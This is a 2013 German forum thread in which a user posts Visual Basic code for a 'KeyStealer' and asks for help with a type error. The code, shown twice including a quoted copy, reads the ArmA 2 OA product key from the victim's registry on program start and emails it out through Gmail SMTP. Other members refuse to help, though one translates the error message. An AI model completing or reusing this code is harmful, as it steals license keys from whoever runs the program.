KeyStealer Code Fehler was tun?

05/01/2013 19:43 Dragongamer040201#1
Hallo habe es fast geschafft einen KeyStealer zu schreiben nur irgendwie bleibt dort noch ein Fehler.Geschrieben ist er in VB. Wen mir jemand helfen könnte wäre das sehr nett., da ich ihn so langsam endlich fertigstellen will.


Code:
Imports System.Net.Mail
Imports System.Net
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) _
                    Handles MyBase.Load
        Dim Werte() As String
        Werte = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", Nothing)

        For Each Wert As String In Werte
            Debug.WriteLine(Wert)

        Next
        Dim betreff As String
        Dim Zieladresse As String
        Zieladresse = "[Only registered and activated users can see links. Click Here To Register...]"
        betreff = "Key"
        Dim myClient As New Net.Mail.SmtpClient("smtp.gmail.com")
        myClient.Credentials = New Net.NetworkCredential("EmailAdresse", "EmailPasswort")
        myClient.Send("EmailAdresse", Zieladresse, betreff, Werte)
    End Sub
End Class
Der Fehler ist nun bei dem letzten <Werte> nach betreff, er wäre:
"Der Wert vom Typ "1-Dimensionales Array von String" kann nicht in "String" konvertiert werden"

Hoffe bekomme Hilfe danke für jede Antwort ^^

LG Dragon
05/01/2013 19:46 Graf c0x#2
Vergiss es, dafür gibts hier keine Unterstützung.
05/01/2013 19:46 chrisyou#3
Quote:
Originally Posted by Dragongamer040201 View Post
Hallo habe es fast geschafft einen KeyStealer zu schreiben nur irgendwie bleibt dort noch ein Fehler.Geschrieben ist er in VB. Wen mir jemand helfen könnte wäre das sehr nett., da ich ihn so langsam endlich fertigstellen will.

Vielen Dank hoffe ich bekomme Hilfe ^^


Code:
Imports System.Net.Mail
Imports System.Net
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) _
                    Handles MyBase.Load
        Dim Werte() As String
        Werte = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", Nothing)

        For Each Wert As String In Werte
            Debug.WriteLine(Wert)

        Next
        Dim betreff As String
        Dim Zieladresse As String
        Zieladresse = "[Only registered and activated users can see links. Click Here To Register...]"
        betreff = "Key"
        Dim myClient As New Net.Mail.SmtpClient("smtp.gmail.com")
        myClient.Credentials = New Net.NetworkCredential("EmailAdresse", "EmailPasswort")
        myClient.Send("EmailAdresse", Zieladresse, betreff, Werte)
    End Sub
End Class
Bitte, bitte, sag mir nicht, dass das dein Ernst ist.

E: Ich gebe dir keine Lösung, weil ich den Code absolut schrecklich geschrieben finde und ich auch keine Keystealer unterstütze. Aber übersetzt heißt der Fehlercode, dass "Werte" kein String ist.
05/01/2013 19:47 Czer0™#4
Sowas wird hier nicht unterstützt!
05/01/2013 19:47 Linkhdub#5
Schreib den ambesten komplett in Englisch und mach nich ein mischmasch aus beidem.
Und sowas wird hier nicht unterstüzt

Mit freundlichen Grüßen.

Linkhdub